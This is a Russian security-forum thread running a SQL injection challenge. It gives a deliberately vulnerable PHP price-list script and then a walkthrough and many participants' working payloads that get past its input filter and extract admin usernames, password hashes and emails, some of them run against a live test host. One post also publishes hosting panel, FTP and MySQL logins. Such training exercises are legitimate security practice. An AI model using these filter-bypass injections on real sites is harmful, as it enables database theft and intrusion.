Просмотр полной версии : Задание №1
Задания прекратили быть привилегией закрытых групп (вроде бы, а это одна из самых интресных вещей), поэтому предлагаю сделать такую тему и для паблика.
Могу предложить несложное, но достаточное для того, чтобы почувствовать вкус нахождения правильного решения.
Итак, есть скрипт, работающий с таблицей "pricelist", в этой же базе лежит таблица "admin_site",
нужно вывести из нее поля user, password, email.
$id){
$sql="select tovar, dataprice, cena from pricelist where $key = $id and kmag=1";
if ($r = $db->query($sql)) {
while($obj = $r->fetch_object()){
echo "
| $obj->dataprice | $obj->tovar | $obj->cena |
";
}
$r->close();
}
}
$db->close();
?>
Понятно, что скрипт уязвим для SQLi, и нужно составить рабочий вектор.
На свой сервер ставить не буду (чтобы не подвергать насилию), поэтому решаем по тексту скрипта,
или вот тестовые таблички, ставим на локалке.
.SpoilerTarget" type="button">Spoiler: Create table
--
-- Структура таблицы `admin_site`
--
DROP TABLE IF EXISTS `admin_site`;
CREATE TABLE IF NOT EXISTS `admin_site` (
`id` int(2) NOT NULL,
`user` varchar(20) NOT NULL,
`password` varchar(41) NOT NULL,
`email` varchar(40) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=cp1251;
--
-- Дамп данных таблицы `admin_site`
--
INSERT INTO `admin_site` (`id`, `user`, `password`, `email`) VALUES
(1, 'admin', '*4414E26EDED6D661B5386813EBBA95065DBC4728', 'webmaster@localhost');
-- --------------------------------------------------------
--
-- Структура таблицы `pricelist`
--
DROP TABLE IF EXISTS `pricelist`;
CREATE TABLE IF NOT EXISTS `pricelist` (
`id` int(4) NOT NULL,
`dataprice` date NOT NULL,
`tovar` varchar(100) NOT NULL,
`cena` int(10) NOT NULL,
`kmag` int(1) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=cp1251;
--
-- Дамп данных таблицы `pricelist`
--
INSERT INTO `pricelist` (`id`, `dataprice`, `tovar`, `cena`, `kmag`) VALUES
(1, '2017-07-26', 'ноутбук ASUS X540LA, 90NB0B02-M17590', 26990, 1);
Пример штатного вызова скрипта: test.php?id=1
Нужно составить вызов так, чтобы вернулось содержимое "admin_site".
Название таблиц менять нельзя.
Ответы присылайте в личку, в топике не флудим и не даем подсказки, не так часто публикуются задания, чтобы можно было ломать удовольствие порешать их, обменяемся впечатлениями после закрытия задания.
Скрипт упростил специально, чтобы не тратить время на поиск уязвимого участка, только смысловая нагрузка и минимальный функционал.
Ничего не отвлекает.
Для групп можно было бы усложнить задачу, но сейчас важнее найти массовый интерес.
Поэтому пробуем минималистичный вариант, но для групп установим срок на решение - две недели,
а для остального большинства - один месяц.
Сейчас слегка занят, по выходным вообще не будет времени, но в рабочие дни несколько раз в день буду проверять личку и заполнять таблицу прошедших задание.
Сильно не нервничайте, если не сразу обработаю результат, таблица все равно будет заполняться в порядке времени присланного ответа.
Удачи.
Задание прошли:
crlf
t0ma5
SooLFaa
cat1vo
rrock
Evan
st55
== Прошло две недели, от групп ответы больше не принимаются.
Shubka75 (1 часть)
== После публикации некоторых подсказок справились:
seotor
Jup1ter_
shotya
=======
http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1,
принимает не все ответы.
Ориентируйтесь на свои локальные результаты.
=======
Принимается и частичное прохождение:
1 часть - получить вывод
2 часть - протащить в запрос строку "admin_site"
Проходить можно в любом порядке.
BabaDook
27.07.2017, 11:25
Заливай на сервер. Делай по людски
.SpoilerTarget" type="button">Spoiler
Вход на панель управления: адрес : https://panel.hostland.ru логин : host1606652 пароль: 11a3bb7f Вход по FTP: сервер : ftp16.hostland.ru логин : host1606652 пароль : fb4b6c99 Вход MySQL: https://mysql16.hostland.ru логин : host1606652 пароль : 59befe04 database : host1606652 host : localhost
Задание уже составлено по людски, в соответствии с нормами, которые сложились и на ачате и на рдоте.
Даны исходники, поднимаем тестовую площадку у себя (при необходимости).
Тем не менее, жест доброй воли зачтен конечно, посмотрим сколько продержится площадка.
Сканеры и пр. тулзы площадка выдержит недолго, тарифный план не позволит.
Залито:
http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1
Все же советую поднять свою тестовую площадку.
↑ (https://antichat.live/posts/4110370/)
Заливай на сервер. Делай по людски
Spoiler
Вход на панель управления: адрес :
https://panel.hostland.ru
логин : host1606652 пароль: 11a3bb7f Вход по FTP: сервер : ftp16.hostland.ru логин : host1606652 пароль : fb4b6c99 Вход MySQL:
https://mysql16.hostland.ru
логин : host1606652 пароль : 59befe04 database : host1606652 host : localhost
Бабадук хакер авторитетный.
Тот_самый_Щуп
27.07.2017, 22:33
↑ (https://antichat.live/posts/4110582/)
Бабадук хакер авторитетный.
Понятия чтит? Как в код влезать четко, знает?
По теме, QUERY_STRING - не везде работать то будет, т.е многие редакции его будут игнорировать, правильнее было поставить REQUEST_URI который корректно будет везде работать.
Можно считать что я прошёл? Поставил на сервер, $_SERVER['QUERY_STRING'] - пусто. Фильтр не действует
↑ (https://antichat.live/posts/4110669/)
По теме, QUERY_STRING - не везде работать то будет, т.е многие редакции его будут игнорировать, правильнее было поставить REQUEST_URI который корректно будет везде работать.
Можно считать что я прошёл? Поставил на сервер, $_SERVER['QUERY_STRING'] - пусто. Фильтр не действует
Правильное замечание, поправил скрипт.
На конкретном сервере, если не завелся фильтр, да - удача, личная.
Но в рамках задания за прохождение, к сожалению , не считается.
BabaDook
28.07.2017, 14:37
Какой там хакер? Какие понятие, на хую я крутил всю эту хуета.
crlfхакер
все заняты делами или всем плевать?
хороший таск, спасибо
Хорошее задание, почерпнул для себя кое-что новое! Надеюсь будут еще
Прошла неделя.
Осилили задание четверо - красавчики, без вопросов.
Но для целого форума, это не густо.
Хотя задание "пограничное" что ли, та редкая ситуация, когда уровень сложности попадает в широкий диапазон подготовленности и опыта, думаю, что и в МОА не все пройдут, если их разбудить, но большинству придется вполне по интересу (Стрелочка, Нахтачок, Ицмай, Шелл-код, Хамена вполне могли бы повтыкать не напрягаясь).
ROA - тоже не должны обидеться.
Но главный интерес, предположительно, должен быть для основной части форума.
Это точно не "подставить кавычку", и даже не поиск готового варианта, а некоторая самостоятельная работа, зато не обязательно выруливать только на хорошем знании, а вполне выручит хакерская смекалка.
Тот случай, когда можно получить моральное удовлетворение - я сделал, я крут.
И стать на ступеньку выше, чем просто похек сайтов.
В задании нет суперсложностей, больше того, начав решать, обязательно найдете решение.
Когда выложу прохождения, сможете в этом убедиться, но интереснее найти ответ до закрытия задания.
Возможно пока не хватает опыта в прохождении заданий, ну так вот удобный случай повысить скилл.
BabaDook
03.08.2017, 16:27
↑ (https://antichat.live/posts/4110464/)
Задание уже составлено по людски, в соответствии с нормами, которые сложились и на ачате и на рдоте.
Даны исходники, поднимаем тестовую площадку у себя (при необходимости).
Тем не менее, жест доброй воли зачтен конечно, посмотрим сколько продержится площадка.
Сканеры и пр. тулзы площадка выдержит недолго, тарифный план не позволит.
Залито:
http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1
Все же советую поднять свою тестовую площадку.
Сори за фот топ, но сообщение не только автору, может кто-то ещё захочет. Если будут ещё задание разные, разнобразные, то мы возможно можем оказать помощь в предоставление место на сервере, возможно отдельная виртуалка или сервер.
Две новости, хорошая и плохая.
Сначала хорошая - подтвердилось предположение, что задание вполне доступно не только "цветным", мои поздравления Evan`у.
Теперь о грустном.
Автор, cat1vo и использовали прием, который раньше считался универсальным, но похоже этому пришел конец.
Во всяком случае на http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1
не работает (версия мускула 5.7.18-15-log).
Свежая 10.1.23-MariaDB отработала нормально, возможно так настроен конкретный сервер, нужно тестить.
Жаль, удобный был способ.
Поставил 5.7.19 - ошибка синтаксиса.
Возможно пропатчили в v 5.7.1.
UPD проверил, в 5.7.1-m11-log уже пропатчено.
Тем не менее ответы будут приниматься и с таким вариантом.
↑ (https://antichat.live/posts/4114336/)
Две новости, хорошая и плохая.
Сначала хорошая - подтвердилось предположение, что задание вполне доступно не только "цветным", мои поздравления
Evan
`у.
Теперь о грустном.
Автор,
cat1vo
и
использовали прием, который раньше считался универсальным, но похоже этому пришел конец.
Во всяком случае на
http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1
не работает (версия мускула 5.7.18-15-log).
Свежая 10.1.23-MariaDB отработала нормально, возможно так настроен конкретный сервер, нужно тестить.
Жаль, удобный был способ.
Поставил 5.7.19 - ошибка синтаксиса.
Возможно пропатчили в v 5.7.1.
Тем не менее ответы будут приниматься и с таким вариантом.
В чем проблема залить на другой?
http://sdasasdsad.000webhostapp.com/index.php?id=1
UPDATE: Этот символ не работает видимо тоже.
↑ (https://antichat.live/posts/4114360/)
В чем проблема залить на другой?
Проблема совсем не в том, чтобы залить на другой (считаю это лишним).
А в том, что начиная с какой то версии мускул пропатчили и финт не работает.
↑ (https://antichat.live/posts/4114375/)
Проблема совсем не в том, чтобы залить на другой (считаю это лишним).
А в том, что начиная с какой то версии мускул пропатчили и финт не работает.
backtick?
↑ (https://antichat.live/posts/4114399/)
backtick?
да
↑ (https://antichat.live/posts/4114405/)
да
По мне это наоборот хорошо, решение без него выглядит более интересным.
↑ (https://antichat.live/posts/4114431/)
По мне это наоборот хорошо, решение без него выглядит более интересным.
Проблема уже не в решении, а в том, что бактик перестал работать в новых версиях мускула, а хакеры этот факт прохлопали.
↑ (https://antichat.live/posts/4114399/)
backtick?
Вот оно что, я его и в хвост и в гриву, а он не работает
Кстати, ещё из неприятных новостей, узнал только на днях. Оказывается в мускуле появилась опция secure-file-priv, которая начиная с какой-то версии, по дефолту, не даёт экспортиовать/импортировать файлы вне установленной директории (в 5.7.19 secure-file-priv="/var/lib/mysql-files/"). Т.е. если юзер имеет file_priv, то пока в my.cnf, либо при старте не будет явно указано secure-file-priv="", операции, затрагивающие работу с локальной файловой системой (LOAD_FILE, INTO OUTFILE), не будут работать вне установленной директории. Для того чтобы узнать значение, нужно выполнить запрос "SELECT @@secure_file_priv;".
https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv
Прошло две недели.
Окончен прием ответов от групп, итоги такие:
- про МОА известно только то, что Кибер-панк жив и он в хорошей форме.
- за РОА отдувался один crlf,упс проследил SooLFaa, с повышением.
- lvl8 - основная ударная группа, лучшие.
- из паблика прошел только Evan -public champion.
Все молодцы и красавчики.
Хорошая работа.
====
Но задание не закрыто, продолжаем решать.
Настало время подсказок, но поскольку одна уже прошла (backtik), пока просто разжуем то, что известно.
Задание можно условно поделить на две части
- получить вывод на экран
- вывести данные из таблицы admin_site
Начнем с вывода, мешает "хвост" запроса " and kmag=1".
Задача давно известная и решается либо обрезанием хвоста (используем комментирование),
либо достраиваем запрос до валидной конструкции.
Комментарии детектятся фильтром, поэтому достраиваем.
Поле kmagотсутствует в таблице admin_site,запрос валится, ну так залечим быстренько это недоразумение, проблема то совсем маленькая.
==
И да, буду принимать и частичное прохождение:
1 часть - получить вывод
2 часть - протащить в запрос строку "admin_site"
Проходить можно в любом порядке.
Перестали поступать ответы, первая часть не требует каких то особых знаний, даже если не помните синтаксис MySQL, достаточно почитать базовые правила.
Если кто то решает, отпишитесь в теме, или в личку.
Или можно закрыть задание и посмотреть прохождения.
Тот_самый_Щуп
14.08.2017, 22:03
Да, все варианты прохождения в деталях ОЧЕНЬ интересно посмотреть. Сам не осилил, но пытался.
Как я понял из всего написанного, тут несколько разных вариантов обхода, вот их в деталях бы оценить.
↑ (https://antichat.live/posts/4116849/)
Да, все варианты прохождения в деталях ОЧЕНЬ интересно посмотреть. Сам не осилил, но пытался.
Как я понял из всего написанного, тут несколько разных вариантов обхода, вот их в деталях бы оценить.
Вектор один. А кто как байпасит комменты не суть важно.
Наверное никто не будет против, если для тех, кто пытается пройти, я подскажу направление. Сам я не сразу додумался до решения, но один человек натолкнул меня на один .pdf (http://index-of.es/Failed-attack-techniques/Http%20Parameter%20Contamination.pdf) файл.
Тот_самый_Щуп
15.08.2017, 17:08
↑ (https://antichat.live/posts/4116990/)
Вектор один. А кто как байпасит комменты не суть важно.
Да меня собственно, больше всего интересует обход символа _ в регулярке.
Подсказки даны достаточно хорошие, чтобы даже не решать, а просто записать ответ.
Но при условии, что уже немного повтыкал.
↑ (https://antichat.live/posts/4117091/)
Подсказки даны достаточно хорошие, чтобы даже не решать, а просто записать ответ.
Но при условии, что уже немного повтыкал.
У них просто sqlmap не справляется, вот они и в тупике!
↑ (https://antichat.live/posts/4117104/)
У них просто sqlmap не справляется, вот они и в тупике!
Просто нет опыта решения задач и нужно некоторое количество разжеванных решений, некоторая начальная база, ступенька, опора.
Дальше будет легче.
↑ (https://antichat.live/posts/4116994/)
Наверное никто не будет против, если для тех, кто пытается пройти, я подскажу направление. Сам я не сразу додумался до решения, но один человек натолкнул меня на один
.pdf (http://index-of.es/Failed-attack-techniques/Http%20Parameter%20Contamination.pdf)
файл.
Спасибо за подсказку, теперь полностью решил
Завтра закрою задание.
Можно присылать полусырые ответы, главное чтобы можно было увидеть потенциал.
Jup1ter_
22.08.2017, 08:53
Когда новый таск ждать?
↑ (https://antichat.live/posts/4119696/)
Когда новый таск ждать?
Пока не знаю.
Не планировал ничего, был минутный порыв, отчасти внутренний протест против затянувшегося периода нехватки времени.
Но полагаю, если будет интерес, в группах его поддержат обязательно.
Возможно и у меня получится.
Задание закрыто
Постараюсь дать более подробное объяснение, чем принято в заданиях, поскольку хочется показать, что никакая это не уличная магия и не развлекаловка исключительно для групп.
Обычная задачка, доступная всякому, освоившему синтаксис мускула и php, и умеющему мыслить логически.
Ну, может быть, иногда нужно включать хакерскую догадку, если конкретных знаний пока недостаточно.
Задание можно разбить на две подзадачи:
- получить вывод информации через SQLi
- вывести информацию, уже конкретно из таблицы admin_site
Смотрим запрос
$sql="select tovar, dataprice, cena from pricelist where $key = $id and kmag=1";
Инъекция возможна в переменные $_GET['$key'] и $_GET['$id'].
Нам привычнее крутить тут
select tovar, dataprice, cena from pricelist where $key = {SQLi} and kmag=1
т.е. вызов будет выглядеть так:
http://localhost/test.php?id={SQLi}
поехали
http://localhost/test.php?id=0 union select 1,2,3
(далее буду писать только ту часть, что начинается со знака вопроса)
сработает фильтр на пробел
if(preg_match("|[\[ _\-\]\*(]+|ims", $_SERVER['QUERY_STRING'].urldecode($_SERVER['QUERY_STRING'])))die("Hacking attempt");
тогда заменим пробел на варианты из %09 ,%0а, %0b, %0d
?id=0%0aunion%0aselect%0a1,2,3
select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3 and kmag=1
запрос невалидный, мешает участок " and kmag=1", поле kmag отсутствует в запросе union select.
Его нужно отрезать комментариями, или достроить до валидного.
Штатные комментарии фильтром запрещены ("-- ","#", "/**/", и даже нештатный ";%00"), поэтому достраиваем запрос.
Я пытался подтолкнуть к использованию backtick "`", как эффективного и красивого аналога многострочного комментария и незаслуженно "забытого" в паблике ачата.
?id=0%0aunion%0aselect%0a1,2,3`
select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3` and kmag=1
В данном случае, все, что идет после обратной кавычки до конца строки (в т.ч. и символы \r\n) будет воспринято, как алиас поля 3, поскольку закрывающая кавычка отсутствует, что эквивалентно действию многострочного комментария.
т.е. даже если запрос был бы многострочным
$sql="select tovar, dataprice, cena
from pricelist where $key = $id
and kmag>0
and kmag0
and kmag$id){
(Здесь $key определяет имя переменной, а $id - ее значение.)
И тут либо вспоминаем эту разницу, либо методом хакерского тыка проверяем инъекцию в $_GET['key'].
А разница действительно есть и она даже описана в документаци к php http://php.net/manual/ru/language.variables.external.php (http://php.net/manual/ru/language.variables.external.php)
Смысл в том, что в именах переменных (но не в значениях), переданных через массивы $_GET и $_POST некоторые символы запрещены и преобразуются к знаку подчеркивания "_".
А символы эти - пробел, левая квадратная скобка и точка (" ", "[", ".").
Фигасе! То, что нужно!
Пробел и скобку фильтр детектит, а вот точку пропускает, поэтому окончательный вызов будет таким.
http://localhost/test.php?0%0aunion%0aselect%0apassword,user,email% 0afrom%0aadmin.site`=xek
(здесь "=xek" не несет смысловой нагрузки, просто смайлик )
запрос приобрел вид
select tovar, dataprice, cena from pricelist where 0 union select password,user,email from admin_site` = xek and kmag=1
и вернул нужные данные из admin_site
| admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
В условиях, когда backtik перестал работать на новых версиях мускула (во всей линейке 5.7), можно достроить запрос таким образом, чтобы хвост "and kmag=1"
не приводил к ошибке выполнения запроса.
В таблице admin_site нет поля "kmag", поэтому запрос валится, но такое поле есть в pricelist, поэтому тем, или иным способом добавим таблицу в запрос и достроим до валидного.
Например так:
http://localhost/test.php?0%09union%09select%09password,user,email% 09from%09admin.site,pricelist%09where%091=1
соответственно запрос приобрел вид
select tovar, dataprice, cena from pricelist where 0 union select password,user,email from admin_site,pricelist where 1 = 1 and kmag=1
и уже выполняется нормально.
Как искать, когда не знал или не помнил это правило?
Гугл: "php переменная get подчеркивание".
Или сразу - метод хакерского тыка, можно и более надежное средство - фаззер (кто не знаком, обязательно освойте).
Обычно в проблемное место вставляют вывод генератора из 1-3 символов.
Как вариант, свой скрипт быстренько накидать.
.SpoilerTarget" type="button">Spoiler: Скрипт
$u1.chr($i).$u2,
CURLOPT_RETURNTRANSFER => 1,
));
$r = curl_exec($ch);
if(stripos($r,'admin')>0) echo $i,"
",chr($i),"
",$r;
}
curl_close($ch);
Про backtik.
К сожалению этот удобный способ отходит в историю, как в свое время ушел незакрытый комментарий "/*".
Видимо патчили тут
https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-29.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-11.html
https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-1.html
.SpoilerTarget" type="button">Spoiler: Info
Replication: Backtick (`) characters were not always handled correctly in internally generated SQL statements, which could sometimes lead to errors on the slave. (Bug #16084594, Bug #68045)
References: This issue is a regression of: Bug #14548159, Bug #66550.
И остался еще один интересный вопрос, каким образом точка с запятой ";" делает запрос валидным (смотрим прохождения ниже).
Не понимаю, как это работает.
Это точно не php и не mysql.
Есть подозрение, что-то дополнительно обрабатывает запрос, возможно предпроцессор какой то оптимизирует строку запроса.
Очень хотелось бы разобраться в причине такого аномального поведения, как минимум, двух серверов.
Во первых, нужно понимать причину аномалии и условия возникновения.
Во вторых, около этого могут находится и другие интересные эффекты.
Может владельцы помогут прояснить причину.
Прохождения:
.SpoilerTarget" type="button">Spoiler: Прохождения
↑ (https://antichat.live)
Привет.
Увидев фильтр, подумал, что наметился небольшой прорыв в скулях, но потом вспомнил об особенности пыха
По бырику получилось так:
[CODE]
http://localhost/test.php?1%0Bunion%0Bselect%0B1,user,password%0Bfr om%0Badmin.site%0BLEFT%0BJOIN%0Bpricelist%0BON%0B1 =1
↑ (https://antichat.live)
~$ curl -s -k 'http://z1.ru.host1606652.serv16.hostland.pro/test.php?1=1&1%0alike%0a1%0aunion%0aselect%0auser,password,emai l%0afrom%0aadmin.site%0awhere%0a1%0alike%0a1%0aor% 0a2=%222%22%0aunion%0aselect%0a1,1,1%0afrom%0apric elist%0awhere%0a1%0alike%0a1%0aor%0a2=%222%22'
| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |
| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |
| *4414E26EDED6D661B5386813EBBA95065DBC4728 | admin | webmaster@localhost |
| 1 | 1 | 1 |
k
↑ (https://antichat.live)
http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1 union select user,password,email from admin.site union select 1,2,3 from pricelist where 1=1 (http://z1.ru.host1606652.serv16.hostland.pro/test.php?id%3D1%0a%0aunion%0aselect%0auser,passwor d,email%0afrom%0aadmin.site%0aunion%0aselect%0a1,2 ,3%0afrom%0apricelist%0awhere%0a1=1)
↑ (https://antichat.live)
REQUEST
GET /test.php?1%3D1%0Aunion%0Aselect%0Auser,password,em ail%0Afrom%0Aadmin.site%60= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
RESPONSE
HTTP/1.1 200 OK
Date: Mon, 31 Jul 2017 16:38:24 GMT
Server: Apache
Content-Length: 159
Connection: close
Content-Type: text/html; charset=UTF-8
| 2017-07-26 | ноутбук ASUS X540LA, 90NB0B02-M17590 | 26990 |
| *4414E26EDED6D661B5386813EBBA95065DBC4728 | admin | webmaster@localhost |
↑ (https://antichat.live)
Привет. Вот такое решение получилось у меня:
/test.php?id%3d100%0aunion%0aselect%0apassword,user ,email%0afrom%0aadmin.site%0aunion%0aselect%0atova r,dataprice,cena%0afrom%0apricelist%0awhere%0aid=1 00
Соответственно, получаю такой вывод:
| admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
said:
↑ (https://antichat.live)
https://sdasasdsad.000webhostapp.com/index.php?1=1 union select password,user,email from admin.site` (https://sdasasdsad.000webhostapp.com/index.php?1%3d1%0aunion%0aselect%0apassword,user,e mail%0afrom%0aadmin.site`)
↑ (https://antichat.live)
Привет, попытался решить задание - на моём компе сработал вот такой вариант:
?1%09union%09select%09user,password,email%09from%0 9admin%2esite%09where%091=1%09union%0aselect%09tov ar,dataprice,cena%09from%09pricelist%09where%091
Решение основано на том, что зафильтрованные символы пробела заменяем на табуляцию (урл-код %09), а зафильтрованный символ нижнего подчёркивания заменяем на точку (урл-код %2e).
↑ (https://antichat.live)
index.php?id%3D1%0Aunion%0Aselect%0A1,user,3%0Afro m%0Aadmin.site;
Соответственно вместо user и остальные данные. На локалке вроде выводит, но у тебя на хосте нет. Спасибо за задание, потратил немного нервов.
↑ (https://antichat.live)
Хм. Обнаружил в теме хост, там нормально отработала точка с запятой, без полноценного нуллбайта, на локалке тоже. Значит уже не глюк.
http://rgho.st/6qQs7xkW9/image.png
Странные вещи творятся, тут запрос отрабатывает, тут нет. Я, кстати, так и не дошёл до нормализации запроса. Так что задание до конца не осилил. В любом случае хоть что-то, так как про представлении серверов я не слышал раньше, а тут задание повлекло понимание.
↑ (https://antichat.live)
Приветствую. Как я заметил, вы начали принимать частичное прохождение задания, так что прилагаю свой пример вывода версии.
http://z1.ru.host1606652.serv16.hostland.pro/test.php?id=1%0aunion%0aselect%0a1,2,@@version%0au nion%0aselect%0a1,2,3%0afrom%0apricelist%0awhere%0 a1
↑ (https://antichat.live)
Собственно вот -
http://sdasasdsad.000webhostapp.com/index.php?nullUnIOnSeleCtpassword,user,emailfromad min.site; (http://sdasasdsad.000webhostapp.com/index.php?null%0BUnIOn%0BSeleCt%0Bpassword,user,em ail%0Bfrom%0Badmin.site;)
| admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
На практике я такое никогда не встречал, но, это было весело, теперь буду знать, спасибо)
↑ (https://antichat.live)
Не поздно ещё решения сдавать?
Давно не заходил на форум, а тут квесты.
http://z1.ru.host1606652.serv16.hostland.pro/test.php?1 UNION SELECT password,user,email from admin.site UNION SELECT 6,5,4 from pricelist where id=1 (http://z1.ru.host1606652.serv16.hostland.pro/test.php?1%0AUNION%0ASELECT%0Apassword,user,email% 0Afrom%0Aadmin.site%0AUNION%0ASELECT%0A6,5,4%0Afro m%0Apricelist%0Awhere%0Aid=1)
↑ (https://antichat.live)
Привет. Ответ на задание:
test.php?true%0aunion%0aselect%0auser,password,ema il%0afrom%0aadmin.site%0aunion%0aselect%0akmag,kma g,kmag%0afrom%0apricelist%0awhere%0a1=1
Тот_самый_Щуп
23.08.2017, 15:17
Задание безусловно, безусловно интересное. В первую очередь благодарю за детально описанные решения, причем несколько.
Но, говорить, что всё это очевидные вещи понятные новичкам... В общем мне это напомнило вот такое обсуждение: https://rdot.org/forum/showthread.php?t=741
Ситуация аналогичная имхо, тем более что уважаемый dooble (https://antichat.live/members/295866/) не понял трюк с ; хотя для некоторых он тоже очевиден.
↑ (https://antichat.live/posts/4120255/)
тем более что уважаемый
dooble (https://antichat.live/members/295866/)
не понял трюк с ; хотя для некоторых он тоже очевиден.
Если имеется ввиду не расщепление запросов (что не может служить терминатором, вот при mq=off работало в связке с ";%00"), то большая просьба объяснить феномен.
Давайте разжуем.
MySQL поддерживает расщепление запросов (можно проверить в консольном клиенте), но клиент php должен обратиться, как
mysqli::multi_query()
mysqli_multi_query ()
Смотрим http://www.php.net/manual/ru/mysqli.multi-query.php
а в скрипте идет обычное $db->query($sql) и если после ";" будет продолжение строки то восприниматься будет, как ошибка, встретился "конец запроса", а следом идет опровержение, текст запроса продолжается.
Но и в случае mysqli_multi_query () запросы должны быть валидные, а мы после ";" передаем мусор, который мускул не сможет обработать и вывалит ошибку синтаксиса.
Т.е. на этих серверах "нечто" убирает этот мусор, перед тем, как отдать на выполнение СУБД.
Либо существует настройка мускула (о которой я не знаю) и она позволяет обрабатывать запрос только до ";".
Версия на обоих аномальных серверах - 10.1.20-MariaDB, поднимал ее локально для проверки, в конфигурации из коробки реагирует на мусор после ";" привычной ошибкой.
Тот_самый_Щуп
23.08.2017, 23:11
dooble (https://antichat.live/members/295866/), я предполагаю, что все гораздо проще, сейчас возможно кто нибудь скинет ссылку на документацию мускуля или php, где будет всё просто и понятно, возможно с аналогичной формулировкой, мол вы разве такую элементарность не знали?
Ещё раз благодарю за квест, столько нового разом узнал. Я вообще ничего этого не знал, ни про ` ни про замену [ или точки на _, и уж тем более про ; а тут сколько нового.
Подобные квесты, когда их суть сводится к полуприватным(назовем это так) техникам, очень полезны, но иногда чуток бомбит, когда делаются заявления, что это очевидно. Очевидно для того, кто читая мануалы мускуля или php случайно находит какую нибудь фичу, которую можно использовать для байпассов... Ну ссылку на подобные рассуждения на рдоте я кидал.
↑ (https://antichat.live/posts/4120265/)
Если имеется ввиду не расщепление запросов (что не может служить терминатором, вот при mq=off работало в связке с ";%00"), то большая просьба объяснить феномен.
Давайте разжуем.
MySQL поддерживает расщепление запросов (можно проверить в консольном клиенте), но клиент php должен обратиться, как
mysqli::multi_query()
mysqli_multi_query ()
Смотрим
http://www.php.net/manual/ru/mysqli.multi-query.php
а в скрипте идет обычное $db->query($sql) и если после ";" будет продолжение строки то восприниматься будет, как ошибка, встретился "конец запроса", а следом идет опровержение, текст запроса продолжается.
Но и в случае mysqli_multi_query () запросы должны быть валидные, а мы после ";" передаем мусор, который мускул не сможет обработать и вывалит ошибку синтаксиса.
Т.е. на этих серверах "нечто" убирает этот мусор, перед тем, как отдать на выполнение СУБД.
Либо существует настройка мускула (о которой я не знаю) и она позволяет обрабатывать запрос только до ";".
Версия на обоих аномальных серверах - 10.1.20-MariaDB, поднимал ее локально для проверки, в конфигурации из коробки реагирует на мусор после ";" привычной ошибкой.
Это правильное разжевывание. Одорямс.)))) Главное показать направление. Это отличный ход.
Спасибо за задание,как говорится все проще если вдуматься,но полез куда сложнее))
КрасавчиГ что делаешь такое,
Респект и Уважуха
Вот всплыл еще вариант использования, вроде отдельная тема, но грабли те же:
Загрязнение параметров в приложениях на PHP
PHP использует parse_str() для синтаксического анализа параметров, таким образом, что символы "[", "." и "_" воспринимаются как одинаковые. По умолчанию PHP будет использовать последний параметр как действительный.
Таким образом, в случаях, когда PHP работает на бэкэнде, но фронтенд (API шлюз или WAF) проверяет параметр, мы можем передать в PHP поддельные параметры.
http://example.com/hpp.php?account_id=real&account[id=fake
==
Принимается скриптом по типу:
[CODE]
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot